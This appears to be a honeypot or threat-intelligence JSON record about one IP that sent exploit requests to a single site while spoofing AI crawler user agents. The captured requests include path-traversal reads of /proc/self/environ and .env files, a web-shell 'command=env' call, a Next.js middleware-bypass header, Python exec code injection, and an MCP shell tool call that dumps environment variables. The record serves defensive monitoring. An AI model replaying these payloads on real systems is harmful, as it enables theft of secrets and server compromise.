{"ip":"172.70.50.169","total_events":93,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"37 exploit-path hits","confidence":"high","network_type":"CDN","why":["37 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 967,649 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"967,649 bytes sent","bytes_sent":967649,"session_seconds":15,"persistent":false}},"first_seen":"2026-09-21T17:30:57","last_seen":"2026-09-21T17:31:12","events_24h":93,"events_7d":93,"geo":{"country_code":"CA","country_name":"Canada","region":"Ontario","city":"Toronto","lat":43.709,"lon":-79.4057,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2024-37152","title":"Argo CD Unauthenticated Access to sensitive setting","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/settings"},{"cve_id":"CVE-2026-30928","title":"Glances - Information Disclosure","severity":"HIGH","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/4/config"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":93}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"1603010200010001fc030395304f77033c954131d3918104751ae3128fb1f93a969b5e4ce68e7abc80c25c209055797085be0c4318ebab2215db6e71dcce3f69771f0b2c385a5a3c4926baab001a130113021303c02bc02cc02fc030c013009c009d002f0035000a01000199000000160014000011736974652e7072696e636875622e636f6d00170000ff01000100000a0010000e001d00170018001911ec6399fe32000b00020100002300000010000e000c02683208687474702f312e31000d0018001609040403080404010503080505010806060102010603003300260024001d00209f1bdbce838ffee311645c32c470dcf905fe72806ea76978261434f7a86d4d0b002d00020101002b0009080304030303020301001500e90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["67560f98d68783bd640246df3052c151"]},"fingerprint_peers":{"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":19},"user_agents":["Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-09-21","count":93}],"recent_events":[{"timestamp":"2026-09-21T17:31:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd5cbe96375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"48\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"{\"templateFile\":\"../../../../proc/self/environ\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a63662d7261793a20613365616364356362653936333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2034380d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"3896b1d8-8610-474b-bfe3-8a192c16e6ff","seq":31,"duration_ms":13215,"bytes_in":19178,"bytes_out":2418},{"timestamp":"2026-09-21T17:31:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd594851375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"command=env&password=bypass&csrf=x","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2050616e6775426f742f312e303b202b68747470733a2f2f7777772e687561776569636c6f75642e636f6d2f290d0a63662d7261793a20613365616364353934383531333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"46ee8716-8361-4ea8-b1fb-4d09ce09dccc","seq":36,"duration_ms":14638,"bytes_in":23232,"bytes_out":2808},{"timestamp":"2026-09-21T17:31:11","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd540b0c375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"168\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"sandbox.execute_shell\",\"arguments\":{\"command\":\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"}}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/mcp","summary":"","payload_hex":"504f5354202f6d637020485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c6578697479426f742f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c6578697479626f74290d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a63662d7261793a20613365616364353430623063333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203136380d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b226a736f6e727063223a22322e30222c226964223a312c226d6574686f64223a22746f6f6c732f63616c6c222c22706172616d73223a7b226e616d65223a2273616e64626f782e657865637574655f7368656c6c222c22617267756d656e7473223a7b22636f6d6d616e64223a22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c227d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","ja3":"67560f98d68783bd640246df3052c151","session":"83ec47e1-3b5a-48a6-8d06-a1f41ecbb46d","seq":26,"duration_ms":10209,"bytes_in":16158,"bytes_out":2028},{"timestamp":"2026-09-21T17:31:10","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd50ce40375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33363b20636f6d70617469626c653b204f41492d536561726368426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a63662d7261793a20613365616364353063653430333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot","ja3":"67560f98d68783bd640246df3052c151","session":"3896b1d8-8610-474b-bfe3-8a192c16e6ff","seq":30,"duration_ms":11304,"bytes_in":18693,"bytes_out":2340},{"timestamp":"2026-09-21T17:31:10","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd4b4862375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"166\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"{\"code\":\"@exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\\\",shell=True))')\\ndef foo():\\n  pass\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/validate/code","summary":"","payload_hex":"504f5354202f6170692f76312f76616c69646174652f636f646520485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2050616e6775426f742f312e303b202b68747470733a2f2f7777772e687561776569636c6f75642e636f6d2f290d0a63662d7261793a20613365616364346234383632333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203136360d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b22636f6465223a2240657865632827726169736520457863657074696f6e285f5f696d706f72745f5f285c2273756270726f636573735c22292e636865636b5f6f7574707574285c22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c5c222c7368656c6c3d54727565292927295c6e64656620666f6f28293a5c6e202070617373227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"46ee8716-8361-4ea8-b1fb-4d09ce09dccc","seq":35,"duration_ms":12407,"bytes_in":22729,"bytes_out":2730},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd4a4c78375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/dashboard%2F.env","summary":"","payload_hex":"474554202f64617368626f6172642532462e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a782d6e6578746a732d646174613a20310d0a757365722d6167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e30205361666172692f3630352e312e313520284170706c65626f742f302e31290d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63662d7261793a20613365616364346134633738333735612d59595a0d0a6163636570743a202a2f2a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)","ja3":"67560f98d68783bd640246df3052c151","session":"83ec47e1-3b5a-48a6-8d06-a1f41ecbb46d","seq":25,"duration_ms":8647,"bytes_in":15504,"bytes_out":1950},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd49ca68375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared","summary":"","payload_hex":"474554202f646f63756d656e742e7068703f6d6f64756c65706172743d73797374656d746f6f6c732666696c653d2e2e2f636f6e662f636f6e662e7068702668617368703d73686172656420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365616364343963613638333735612d59595a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"3896b1d8-8610-474b-bfe3-8a192c16e6ff","seq":29,"duration_ms":10185,"bytes_in":18104,"bytes_out":2262},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd489dbb375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/uploads/%2e%2e%2f%2e%2e%2f.env","summary":"","payload_hex":"474554202f6170692f75706c6f6164732f2532652532652532662532652532652532662e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a782d6e6578746a732d646174613a20310d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63662d7261793a20613365616364343839646262333735612d59595a0d0a6163636570743a202a2f2a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"46ee8716-8361-4ea8-b1fb-4d09ce09dccc","seq":34,"duration_ms":11965,"bytes_in":22110,"bytes_out":2652},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd47db3e375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ","summary":"","payload_hex":"474554202f6170692f772f737461727465722f6a6f62735f752f6765745f6c6f675f66696c652f2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e20485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a6163636570743a202a2f2a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a63662d7261793a20613365616364343764623365333735612d59595a0d0a782d6e6578746a732d646174613a20310d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"67560f98d68783bd640246df3052c151","session":"83ec47e1-3b5a-48a6-8d06-a1f41ecbb46d","seq":24,"duration_ms":8261,"bytes_in":14829,"bytes_out":1872},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd471876375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.svn/entries","summary":"","payload_hex":"474554202f2e73766e2f656e747269657320485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c65786974792d557365722f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c6578697479626f74290d0a6163636570743a202a2f2a0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613365616364343731383736333735612d59595a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a22